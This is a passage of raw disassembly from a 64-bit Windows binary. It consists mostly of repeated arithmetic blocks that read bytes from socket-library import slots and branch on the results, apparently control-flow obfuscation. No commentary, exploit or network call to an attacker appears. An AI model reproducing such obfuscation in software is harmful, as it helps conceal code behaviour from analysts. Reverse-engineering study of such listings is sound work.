movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050b5e
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140050b5e
mov edi, esi
mov dword [rbp - 0x70], esi
jmp 0x140050bf3
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050bf0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si edi, xmm0
mov dword [rbp - 0x70], edi
jmp 0x140050bf3
mov edi, dword [rbp - 0x70]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050c9d
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140050c9d
mov dword [rbp - 0x74], esi
jmp 0x140050d2d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050d2d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x74]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, edi
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051058
mov eax, dword [rsp + 0x60]
sub eax, 9
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050e51
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140050e51
mov edi, esi
mov dword [rbp - 0x5c], esi
jmp 0x140050ee6
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050ee3
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si edi, xmm0
mov dword [rbp - 0x5c], edi
jmp 0x140050ee6
mov edi, dword [rbp - 0x5c]
mov eax, dword [rsp + 0x60]
sub eax, 9
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050f9e
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140050f9e
mov dword [rbp - 0x60], esi
jmp 0x14005102e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005102e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si eax, xmm0
mov dword [rbp - 0x60], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x60]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, edi
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140051332
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051139
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140051139
mov edi, esi
mov dword [rbp - 0x64], esi
jmp 0x1400511ce
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400511cb
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si edi, xmm0
mov dword [rbp - 0x64], edi
jmp 0x1400511ce
mov edi, dword [rbp - 0x64]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051278
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140051278
mov dword [rbp - 0x68], esi
jmp 0x140051308
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051308
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si eax, xmm0
mov dword [rbp - 0x68], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x68]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, edi
mov dword [r14 + rax*4 + 4], edx
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cmp eax, 1
jb 0x140050490
xor r15d, r15d
mov rcx, qword [rsp + 0x68]
lea r10, [0x140000000]
mov byte [r14], 1
lea r9, [rbp + 0x78]
mov eax, dword [r14 + 4]
lea rdx, [rbp + 0x48]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x20], r15
mov r10, qword [r10 + rax*8 + 0x87ccb0]
call r10
lea rdx, [rbp + 0x20]
mov byte [rbp - 0x58], 0
lea rcx, [rbp - 0x58]
call fcn.140042b00
mov r14, rax
cmp byte [rax], 0
jne 0x140052280
mov dword [rsp + 0x60], r15d
mov ecx, dword [rsp + 0x60]
cmp ecx, 1
jae 0x140052280
movsd xmm6, qword [0x1406ab480]
mov r15d, dword [rsp + 0x70]
mov r12d, dword [rsp + 0x70]
mov r13d, dword [rsp + 0x70]
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140051694
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400514a5
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400514a5
mov r15d, esi
jmp 0x140051533
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051533
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si r15d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400515dc
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400515dc
mov r12d, esi
jmp 0x14005166a
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005166a
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, r12d
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, r15d
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051f8e
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400519ae
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400517bb
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400517bb
mov r13d, esi
jmp 0x140051849
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051849
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si r13d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400518f3
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400518f3
mov dword [rbp - 0x6c], esi
jmp 0x140051983
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051983
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x6c]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, r13d
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140051c8d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051a94
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140051a94
mov edi, esi
mov dword [rbp - 0x70], esi
jmp 0x140051b29
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051b26
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si edi, xmm0
mov dword [rbp - 0x70], edi
jmp 0x140051b29
mov edi, dword [rbp - 0x70]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051bd3
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140051bd3
mov dword [rbp - 0x74], esi
jmp 0x140051c63
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051c63
call fcn.140012bc0
